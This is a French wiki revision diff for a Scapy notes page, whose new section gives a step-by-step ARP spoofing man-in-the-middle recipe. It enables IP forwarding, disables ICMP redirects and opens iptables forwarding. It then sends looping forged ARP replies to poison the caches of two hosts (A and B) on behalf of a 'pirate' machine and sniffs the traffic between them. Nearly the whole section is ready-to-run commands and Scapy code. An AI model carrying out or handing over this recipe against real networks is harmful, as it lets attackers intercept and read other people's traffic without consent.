python:scapy:accueil

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
python:scapy:accueil [2021/04/04 17:01] – modification externe 127.0.0.1python:scapy:accueil [2024/07/27 18:13] (Version actuelle) – Include page about network spoofing phsw
Ligne 82: Ligne 82:
  
  
-==== Utilisations ==== +==== Spoofer le réseau ==== 
-[[python:scapy:network_spoofing|Spoofer le réseau]]+ 
 +Récupérer le trafic entre les machines A et B: 
 + 
 +  - Activer le routage des paquets<code bash>sudo sysctl net/ipv4/ip_forward=1</code> et désactiver les redirections de politesse: <code bash>sudo sysctl net/ipv4/conf/all/send_redirects=0</code> 
 +  - Adapter le parefeu (pas de règles bizarres), notamment autoriser le forwarding: <code bash>sudo iptables -P FORWARD ACCEPT</code> 
 +  - Récupérer les adresses MAC des adresses IP A et B: <code python> 
 +srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip A>",psrc="<ip pirate>")) 
 +srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip B>",psrc="<ip pirate>")) 
 + 
 +</code>L'adresse MAC se trouve dans le champ ''src'' de la trame Ethernet. 
 +  - Cache-poisoning des tables ARP de A et B: <code python> 
 +sendp(Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), inter=1, loop=1) 
 +sendp(Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>"), inter=1, loop=1) 
 +</code>Si on met ''inter=RandNum(10, 40)'' , l'intervalle de temps varie entre 10 et 40 secondes (pas obligatoire), ''loop=1'' lance l'exécution en boucle.  
 +  - Sniffer le réseau:<code python>pkts = sniff(filter="host <ipA> or host <ipB>", prn=lambda p: p.summary)</code> 
 + 
 + 
 +Astuce: pour éviter de lancer deux instances de Scapy pour corrompre les tables: 
 +<code python> 
 +pkts = [Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>")] 
 +srploop(pkts, inter=1, store=False) 
 +</code> 
 +''store=False'' permet d'éviter de stocker en mémoire les paquets, pour préserver la RAM.
  • python/scapy/accueil.1617548516.txt.gz
  • Dernière modification : 2021/04/04 17:01
  • de 127.0.0.1